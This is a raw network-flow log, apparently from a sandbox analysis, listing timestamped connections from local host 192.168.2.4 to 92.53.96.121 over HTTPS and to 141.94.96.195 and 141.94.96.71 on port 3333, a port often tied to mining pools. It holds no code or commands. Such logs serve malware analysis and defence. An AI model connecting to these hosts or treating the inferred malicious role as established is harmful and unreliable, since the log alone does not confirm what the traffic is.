Jun 23, 2024 11:33:32.970570087 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:33.759001970 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:33.759105921 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:33.760890961 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:33.760911942 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:33.761676073 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:33.762896061 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:33.808551073 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:33.982867002 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:34.096357107 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:34.096568108 CEST	443	49834	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:34.096653938 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:34.097196102 CEST	49834	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:34.172545910 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:37.100202084 CEST	49835	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:37.100312948 CEST	443	49835	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:37.100394011 CEST	49835	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:37.100704908 CEST	49835	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:37.100747108 CEST	443	49835	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:37.900932074 CEST	443	49835	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:37.902359009 CEST	49835	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:37.902415991 CEST	443	49835	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:38.244697094 CEST	443	49835	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:38.244961977 CEST	443	49835	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:38.245033026 CEST	49835	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:38.245109081 CEST	49835	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:38.245951891 CEST	49836	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:38.246063948 CEST	443	49836	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:38.246160984 CEST	49836	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:38.246433973 CEST	49836	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:38.246469975 CEST	443	49836	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:39.054435968 CEST	443	49836	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:39.055785894 CEST	49836	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:39.055870056 CEST	443	49836	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:39.400707006 CEST	443	49836	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:39.400847912 CEST	443	49836	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:39.400928974 CEST	49836	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:39.401165009 CEST	49836	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:40.538671970 CEST	49837	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:40.538769007 CEST	443	49837	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:40.538917065 CEST	49837	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:40.539135933 CEST	49837	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:40.539192915 CEST	443	49837	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:41.247556925 CEST	443	49837	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:41.249027014 CEST	49837	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:41.249113083 CEST	443	49837	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:41.589077950 CEST	443	49837	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:41.589246035 CEST	443	49837	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:41.589421034 CEST	49837	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:41.589498997 CEST	49837	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:41.595249891 CEST	49838	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:41.595324039 CEST	443	49838	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:41.595400095 CEST	49838	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:41.595740080 CEST	49838	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:41.595772982 CEST	443	49838	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:42.315094948 CEST	443	49838	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:42.316478014 CEST	49838	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:42.316560984 CEST	443	49838	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:42.661222935 CEST	443	49838	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:42.661396027 CEST	443	49838	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:42.661472082 CEST	49838	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:42.661694050 CEST	49838	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:42.829950094 CEST	49839	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:42.830012083 CEST	443	49839	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:42.830112934 CEST	49839	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:42.830337048 CEST	49839	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:42.830368996 CEST	443	49839	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:43.529158115 CEST	443	49839	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:43.530675888 CEST	49839	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:43.530754089 CEST	443	49839	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:43.871092081 CEST	443	49839	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:43.871259928 CEST	443	49839	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:43.871332884 CEST	49839	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:43.871481895 CEST	49839	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:43.934920073 CEST	49840	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:43.934976101 CEST	443	49840	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:43.935054064 CEST	49840	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:43.964279890 CEST	49840	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:43.964318991 CEST	443	49840	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:44.109061003 CEST	3333	49825	141.94.96.195	192.168.2.4
Jun 23, 2024 11:33:44.157181025 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:44.680778027 CEST	443	49840	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:44.682135105 CEST	49840	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:44.682178974 CEST	443	49840	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:45.026206017 CEST	443	49840	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:45.026357889 CEST	443	49840	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:45.026426077 CEST	49840	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:45.026808023 CEST	49840	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:45.053625107 CEST	49841	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:45.053703070 CEST	443	49841	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:45.053807020 CEST	49841	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:45.054023027 CEST	49841	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:45.054056883 CEST	443	49841	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:45.834664106 CEST	443	49841	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:45.836860895 CEST	49841	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:45.836901903 CEST	443	49841	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:46.180121899 CEST	443	49841	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:46.180583954 CEST	443	49841	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:46.180720091 CEST	49841	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:46.181024075 CEST	49841	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:46.239346981 CEST	49842	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:46.239403963 CEST	443	49842	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:46.239485025 CEST	49842	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:46.239845991 CEST	49842	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:46.239876986 CEST	443	49842	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:46.741657019 CEST	49825	3333	192.168.2.4	141.94.96.195
Jun 23, 2024 11:33:46.942631006 CEST	443	49842	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:46.944310904 CEST	49842	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:46.944380045 CEST	443	49842	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:47.135442972 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:33:47.140625954 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:33:47.140713930 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:33:47.140809059 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:33:47.146198034 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:33:47.286242962 CEST	443	49842	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:47.286468983 CEST	443	49842	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:47.286659956 CEST	49842	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:47.286737919 CEST	49842	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:47.305768013 CEST	49844	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:47.305824041 CEST	443	49844	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:47.305907011 CEST	49844	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:47.306096077 CEST	49844	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:47.306119919 CEST	443	49844	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:47.770267010 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:33:47.902240992 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:33:48.013071060 CEST	443	49844	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:48.014347076 CEST	49844	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:48.014426947 CEST	443	49844	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:48.357137918 CEST	443	49844	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:48.357283115 CEST	443	49844	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:48.357388020 CEST	49844	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:48.357557058 CEST	49844	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:48.358331919 CEST	49845	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:48.358387947 CEST	443	49845	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:48.358776093 CEST	49845	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:48.359147072 CEST	49845	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:48.359178066 CEST	443	49845	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:49.060473919 CEST	443	49845	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:49.074070930 CEST	49845	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:49.074100018 CEST	443	49845	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:49.096616030 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:33:49.297437906 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:33:49.401263952 CEST	443	49845	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:49.401426077 CEST	443	49845	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:49.401532888 CEST	49845	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:49.403616905 CEST	49845	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:50.800896883 CEST	49846	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:50.800987005 CEST	443	49846	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:50.801070929 CEST	49846	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:50.801291943 CEST	49846	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:50.801316023 CEST	443	49846	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:51.498729944 CEST	443	49846	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:51.500041008 CEST	49846	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:51.500082016 CEST	443	49846	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:52.022667885 CEST	443	49846	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:52.022761106 CEST	443	49846	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:52.022831917 CEST	49846	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:52.023083925 CEST	49846	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:52.024064064 CEST	49847	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:52.024189949 CEST	443	49847	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:52.024298906 CEST	49847	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:52.024518967 CEST	49847	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:52.024539948 CEST	443	49847	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:52.803802013 CEST	443	49847	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:52.805324078 CEST	49847	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:52.805416107 CEST	443	49847	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:53.315860987 CEST	443	49847	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:53.315947056 CEST	443	49847	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:53.316036940 CEST	49847	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:53.318979025 CEST	49847	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:55.647772074 CEST	49848	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:55.647861958 CEST	443	49848	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:55.647964954 CEST	49848	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:55.648350000 CEST	49848	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:55.648435116 CEST	443	49848	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:56.345753908 CEST	443	49848	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:56.347229004 CEST	49848	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:56.347295046 CEST	443	49848	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:56.689249039 CEST	443	49848	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:56.689347029 CEST	443	49848	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:56.689420938 CEST	49848	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:56.689681053 CEST	49848	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:56.690586090 CEST	49849	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:56.690643072 CEST	443	49849	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:56.690731049 CEST	49849	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:56.690922976 CEST	49849	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:56.690951109 CEST	443	49849	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:57.502159119 CEST	443	49849	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:57.503500938 CEST	49849	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:57.503546953 CEST	443	49849	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:57.848778963 CEST	443	49849	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:57.848941088 CEST	443	49849	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:57.849013090 CEST	49849	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:57.849241018 CEST	49849	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:59.907587051 CEST	49850	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:59.907665968 CEST	443	49850	92.53.96.121	192.168.2.4
Jun 23, 2024 11:33:59.907763958 CEST	49850	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:59.908019066 CEST	49850	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:33:59.908051968 CEST	443	49850	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:00.567837954 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:34:00.605400085 CEST	443	49850	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:00.606734991 CEST	49850	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:00.606775999 CEST	443	49850	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:00.797518015 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:34:00.948918104 CEST	443	49850	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:00.949184895 CEST	443	49850	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:00.949265957 CEST	49850	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:00.949323893 CEST	49850	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:00.953295946 CEST	49851	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:00.953387022 CEST	443	49851	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:00.953474998 CEST	49851	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:00.954296112 CEST	49851	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:00.954334021 CEST	443	49851	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:01.761260033 CEST	443	49851	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:01.762973070 CEST	49851	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:01.763036966 CEST	443	49851	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:02.107873917 CEST	443	49851	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:02.108052015 CEST	443	49851	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:02.108237028 CEST	49851	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:02.108381033 CEST	49851	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:02.329333067 CEST	49852	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:02.329402924 CEST	443	49852	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:02.329541922 CEST	49852	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:02.329793930 CEST	49852	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:02.329828978 CEST	443	49852	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:03.115473032 CEST	443	49852	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:03.116915941 CEST	49852	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:03.116986036 CEST	443	49852	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:03.462579012 CEST	443	49852	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:03.462754011 CEST	443	49852	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:03.462827921 CEST	49852	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:03.462970018 CEST	49852	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:03.463848114 CEST	49853	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:03.463932991 CEST	443	49853	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:03.464020014 CEST	49853	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:03.464235067 CEST	49853	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:03.464268923 CEST	443	49853	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:04.270893097 CEST	443	49853	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:04.272356033 CEST	49853	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:04.272407055 CEST	443	49853	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:04.616580963 CEST	443	49853	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:04.616765022 CEST	443	49853	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:04.616839886 CEST	49853	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:04.626365900 CEST	49853	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:06.923109055 CEST	49854	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:06.923216105 CEST	443	49854	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:06.923300982 CEST	49854	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:06.923535109 CEST	49854	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:06.923567057 CEST	443	49854	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:07.728576899 CEST	443	49854	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:07.730072021 CEST	49854	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:07.730161905 CEST	443	49854	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:08.074604034 CEST	443	49854	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:08.074784994 CEST	443	49854	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:08.074863911 CEST	49854	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:08.075172901 CEST	49854	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:08.113475084 CEST	49855	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:08.113575935 CEST	443	49855	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:08.113656998 CEST	49855	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:08.113887072 CEST	49855	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:08.113923073 CEST	443	49855	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:08.894851923 CEST	443	49855	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:08.896380901 CEST	49855	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:08.896496058 CEST	443	49855	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:09.237664938 CEST	443	49855	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:09.237823009 CEST	443	49855	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:09.237987041 CEST	49855	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:09.238075972 CEST	49855	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:09.238889933 CEST	49856	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:09.238923073 CEST	443	49856	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:09.239018917 CEST	49856	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:09.239224911 CEST	49856	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:09.239238024 CEST	443	49856	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:09.938922882 CEST	443	49856	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:09.940464020 CEST	49856	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:09.940494061 CEST	443	49856	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:10.280594110 CEST	443	49856	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:10.280749083 CEST	443	49856	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:10.280811071 CEST	49856	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:10.281048059 CEST	49856	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:10.461802959 CEST	49857	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:10.461893082 CEST	443	49857	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:10.462058067 CEST	49857	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:10.462419987 CEST	49857	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:10.462496996 CEST	443	49857	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:11.163346052 CEST	443	49857	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:11.164943933 CEST	49857	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:11.165029049 CEST	443	49857	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:11.507045031 CEST	443	49857	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:11.507195950 CEST	443	49857	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:11.507292032 CEST	49857	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:11.507597923 CEST	49857	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:11.508431911 CEST	49858	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:11.508541107 CEST	443	49858	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:11.508625031 CEST	49858	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:11.508867979 CEST	49858	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:11.508904934 CEST	443	49858	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:12.057231903 CEST	3333	49843	141.94.96.71	192.168.2.4
Jun 23, 2024 11:34:12.209230900 CEST	443	49858	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:12.210599899 CEST	49858	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:12.210700989 CEST	443	49858	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:12.297403097 CEST	49843	3333	192.168.2.4	141.94.96.71
Jun 23, 2024 11:34:12.551124096 CEST	443	49858	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:12.551299095 CEST	443	49858	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:12.551412106 CEST	49858	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:12.551774979 CEST	49858	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:14.170010090 CEST	49859	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:14.170048952 CEST	443	49859	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:14.170115948 CEST	49859	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:14.170350075 CEST	49859	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:14.170367956 CEST	443	49859	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:15.123809099 CEST	443	49859	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:15.125180006 CEST	49859	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:15.125196934 CEST	443	49859	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:15.470834970 CEST	443	49859	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:15.471044064 CEST	443	49859	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:15.471115112 CEST	49859	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:15.471242905 CEST	49859	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:15.472158909 CEST	49860	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:15.472249985 CEST	443	49860	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:15.472349882 CEST	49860	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:15.472538948 CEST	49860	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:15.472560883 CEST	443	49860	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:16.258766890 CEST	443	49860	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:16.260312080 CEST	49860	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:16.260380030 CEST	443	49860	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:16.601197004 CEST	443	49860	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:16.601438046 CEST	443	49860	92.53.96.121	192.168.2.4
Jun 23, 2024 11:34:16.601752996 CEST	49860	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:16.601840019 CEST	49860	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:16.749464035 CEST	49861	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:34:16.749522924 CEST	443	49861	92.53.96.121	192.168.2.4
